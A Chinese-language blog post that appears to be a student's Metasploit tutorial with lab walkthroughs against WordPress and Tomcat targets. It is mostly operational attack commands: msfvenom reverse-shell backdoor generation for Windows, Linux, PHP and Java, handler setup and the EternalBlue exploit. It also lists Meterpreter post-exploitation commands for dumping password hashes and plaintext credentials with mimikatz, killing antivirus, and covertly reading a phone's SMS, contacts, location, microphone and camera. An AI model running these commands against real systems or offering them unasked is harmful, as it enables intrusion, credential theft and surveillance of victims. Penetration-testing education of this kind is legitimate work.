MSF的使用

石院张铁蛋

已于 2023-04-25 21:13:05 修改

阅读量452

点赞数

文章标签： web安全安全网络网络安全

于 2023-04-05 15:48:25 首次发布

本文链接：https://blog.csdn.net/qq_63980959/article/details/129971603

版权

MSF的使用

文章目录

MSF的使用

MSF简介

Metasploit框架（Metasploit Framework, MSF）是一个开源工具，旨在方便渗透测试，它是由Ruby程序语言编写的模板化框架，具有很好的扩展性，便于渗透测试人员开发、使用定制的工具模板。
Metasploit可向后端模块提供多种用来控制测试的接口（如控制台、 Web 、 CLI ）。推荐使用控制台接口，通过控制台接口，你可以访问和使用所有Metasploit的插件，例如Payload、利用模块、 Post模块等。 Metasploit还有第三方程序的接口，例如Nmap、SQLMap 等，可以直接在控制台接口里使用，要访问该界面。

msf模块

在这里插入图片描述

exploits：利用系统漏洞进行攻击的动作，此模块对应每一个具体漏洞的攻击方法

payload：成功exploit之后，真正在目标系统执行的代码或指令

auxiliary：执行信息收集、枚举、指纹探测、扫描等功能的辅助模块

encoders：对payload进行加密，躲避av检查的模块（不好用）

nops：提高payload稳定性及维持大小

post：后渗透模块

evasion：直接生成windows免杀的木马（效果差）

Kali中的 msfvenom 取代了msfpayload和msfencode，常用于生成后门木马

msfpayload是MSF攻击荷载生成器，用于生成shellcode和可执行代码。
msfencode是MSF编码器。

msf常用命令

msfconsole											#进入框架
help/?												#查看帮助
search  ms17_010                                    # 使用search命令查找相关漏洞
searchsploit										#从exploit-db查找漏洞
info     										    #使用info查看漏洞模块信息
use exploit/windows/smb/ms17_010_eternalblue        # 使用use进入模块
show options    									#查看模块需要配置的参数
set payload windows/x64/meterpreter/reverse_tcp    	#设置攻击载荷
set RHOST 192.168.10.1								#设置目标的IP地址 
set LHOST 192.168.1.1								#设置本地的IP地址 
set LPORT 8888										#设置本地的监听端口 
exploit / run     								    #攻击
back												#退回主界面
后渗透阶段											#后渗透阶段

msf信息收集

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LROcaFwL-1680680011609)(C:\Users\86132\AppData\Roaming\Typora\typora-user-images\image-20230330094935006.png)]$

msf生成后门

1、生成windows后门：
       msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击端口  -f exe -o /tmp/hack.exe
2、生成linux后门
       msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻击ip LPORT=攻击端口  -f elf > shell.elf



use  exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.53
set LPORT 4444
exploit

meterpreter介绍

一、 Meterpreter是什么

Meterpreter是Metasploit框架中的一个利器，作为漏洞溢出后的攻击载荷使用，攻击载荷在触发漏洞后会返回一个由我们控制的通道，可用于远程执行命令!
Metasploit提供了各个主流平台的Meterpreter版本，包括Windows、Linux，同时支持x86、x64平台，另外，Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的，好处是启动隐藏，很难被杀毒软件监测到。不需要访问目标主机磁盘，所以也没什么入侵的痕迹。除上述外，Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要了解下。

二、Meterpreter中常用的反弹类型

1.reverse_tcp
这是一个基于TCP的反向链接反弹shell, 使用起来很稳定

三、Meterpreter的常用命令

1.基本命令

help# 查看Meterpreter帮助
background#返回，把meterpreter后台挂起
bgkill# 杀死一个 meterpreter 脚本
bglist#提供所有正在运行的后台脚本的列表
bgrun#作为一个后台线程运行脚本
channel#显示活动频道
sessions -i number # 与会话进行交互，number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
sesssions -k number #杀死会话
close# 关闭通道
exit# 终止 meterpreter 会话
quit# 终止 meterpreter 会话
interact id #切换进一个信道
run#执行一个已有的模块，这里要说的是输入run后按两下tab，会列出所有的已有的脚本，常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
irb# 进入 Ruby 脚本模式
read# 从通道读取数据
write# 将数据写入到一个通道
run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
use# 加载 meterpreter 的扩展
load/use#加载模块
Resource#执行一个已有的rc脚本

2 常用命令

2.1 针对安卓手机的一些命令

获取手机通讯录： dump_contacts

获取短信记录：dump_sms

控制实验手机发短信：send_sms -d 15330252525 -t
“hello”

获取实验手机GPS定位信息：geolocate

获取实验手机Wi-Fi定位信息：wlan_geolocate

控制实验手机录音：record_mic
-d 5

获取实验手机相机设备：webcam_list

控制实验手机拍照：webcam_snap

直播实验手机摄像头：webcam_stream

2.2 针对Windows的一些命令

查看进程：ps

查看当前进程号：getpid

查看系统信息：sysinfo

查看目标机是否为虚拟机：run
post/windows/gather/checkvm

查看完整网络设置：route

查看当前权限：getuid

自动提权：getsystem

关闭杀毒软件：run post/windows/manage/killav

启动远程桌面协议：run post/windows/manage/enable_rdp

列举当前登录的用户：run post/windows/gather/enum_logged_on_users

查看当前应用程序：run post/windows/gather/enum_applications

抓取目标机的屏幕截图：load espia ； screengrab

获取相机设备：webcam_list

控制拍照：webcam_snap

直播摄像头：webcam_stream

控制录音：record_mic

查看当前处于目标机的那个目录：pwd

查看当前目录：getlwd

导出当前用户密码哈希 run hashdump

用户名：SID：LM哈希：NTLM哈希:::

也可以使用下面这个命令导出权限更高 run windows/gather/smart_hashdump

抓取自动登录的用户名和密码 run windows/gather/credentials/windows_autologin

直接获取明文密码（注意这个功能需要获取系统权限获取系统权限需要输入getsystem）

首选终端输入 load kiwi 加载kiwi

creds_all：列举所有凭据
creds_kerberos：列举所有kerberos凭据
creds_msv：列举所有msv凭据
creds_ssp：列举所有ssp凭据
creds_tspkg：列举所有tspkg凭据
creds_wdigest：列举所有wdigest凭据
dcsync：通过DCSync检索用户帐户信息
dcsync_ntlm：通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create：创建黄金票据
kerberos_ticket_list：列举kerberos票据
kerberos_ticket_purge：清除kerberos票据
kerberos_ticket_use：使用kerberos票据
kiwi_cmd：执行mimikatz的命令，后面接mimikatz.exe的命令
lsa_dump_sam：dump出lsa的SAM
lsa_dump_secrets：dump出lsa的密文
password_change：修改密码
wifi_list：列出当前用户的wifi配置文件
wifi_list_shared：列出共享wifi配置文件/编码

3.文件系统命令

cat c:\boot.ini#查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上，如upload setup.exe C:\windows\system32
download nimeia.txt /root/Desktop/ # 下载文件到本机上如：download C:\boot.ini /root/或者download C:\“ProgramFiles”\Tencent\QQ\Users\295****125\Msg2.0.db /root/
edit c:\boot.ini # 编辑文件
getlwd#打印本地目录
getwd#打印工作目录
lcd#更改本地目录
ls#列出在当前目录中的文件列表
lpwd#打印本地目录
pwd#输出工作目录
cd c:\ #进入目录文件下
rm file #删除文件
mkdir dier #在受害者系统上的创建目录
rmdir#受害者系统上删除目录
dir#列出目标主机的文件和文件夹信息
mv#修改目标主机上的文件名
search -d d:\www -f web.config #search 文件，如search -d c:\ -f.doc
meterpreter > search -f autoexec.bat #搜索文件
meterpreter > search -f sea.bat c:\xamp\
enumdesktops #用户登录数

msf的更新

apt-get update

apt-get install metasploit-framework

msf渗透wordpress博客

坏境：

攻击机：kali ip：192.168.145.128

靶机：windows10 ip：10.0.250.199

靶机建好wordpress

在这里插入图片描述

wpscan扫描

扫用户

wpscan --url  http://10.0.250.199/wordpress/ --enumerate u

爆破管理员密码

wpscan --url 10.0.250.199/wordpress -U 用户名 -P 字典

在这里插入图片描述

制作反弹shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击端口 -o shell.php

在这里插入图片描述

监听

在这里插入图片描述

msf爆破tomcat并获得shell

环境：ubuntu:192.168.145.129 8080

kali：192.168.145.128

启动tomcat服务

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2zJW9FgK-1680680011614)(C:\Users\86132\AppData\Roaming\Typora\typora-user-images\image-20230330190316450.png)]$

在这里插入图片描述

依次在kali上执行以下命令进行爆破（ip为目标机ip）

爆破出账号密码

在这里插入图片描述

生成木马

msfvenom -p java/meterpreter/reverse_tcp lhost=攻击机 lport=攻击机 -f war -o kali.war

在这里插入图片描述

监听

在这里插入图片描述

上传木马

在这里插入图片描述

成功！！！
在这里插入图片描述

在这里插入图片描述

提权

uname -a   #查看内核

在这里插入图片描述

查看exp

在这里插入图片描述

在这里插入图片描述
上传木马

成功！
在这里插入图片描述

石院张铁蛋

关注

0
点赞
踩
7

收藏

觉得还不错? 一键收藏
1
评论
MSF的使用

Meterpreter是Metasploit框架中的一个利器，作为漏洞溢出后的攻击载荷使用，攻击载荷在触发漏洞后会返回一个由我们控制的通道，可用于远程执行命令!Metasploit提供了各个主流平台的Meterpreter版本，包括Windows、Linux，同时支持x86、x64平台，另外，Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的，好处是启动隐藏，很难被杀毒软件监测到。不需要访问目标主机磁盘，所以也没什么入侵的痕迹。
复制链接

扫一扫